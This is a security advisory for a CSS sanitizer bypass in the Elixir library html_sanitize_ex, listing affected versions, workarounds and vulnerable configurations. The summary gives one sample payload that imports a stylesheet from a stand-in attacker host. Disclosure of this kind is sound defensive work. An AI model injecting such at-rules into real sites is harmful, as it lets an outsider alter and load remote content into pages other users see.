EEF-CVE-2026-68747

CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

## Summary Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. `HtmlSanitizeEx.Scrubber.CSS.scrub/1` applies its property and value allowlist through a `Regex.replace` over substrings matching a `property: value` declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. `@import url(//attacker.example/style.css);` survives, while the same URL inside a `background: url(...)` declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the `<style>` element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4. ## Workarounds Sanitize with `basic_html/1`, `markdown_html/1` or `strip_tags/1`, none of which allow `<style>` elements, or define a custom scrubber that omits it. A Content-Security-Policy `style-src` directive that permits no external stylesheet origins stops an injected `@import` from loading, though injected inline rules still apply. ## Configurations Only `HtmlSanitizeEx.html5/1`, and custom scrubbers declared with `use HtmlSanitizeEx, extend: :html5`, permit `<style>` elements, and the sanitized output must be rendered to other users. Applications calling `HtmlSanitizeEx.Scrubber.CSS.scrub/1` directly are also affected.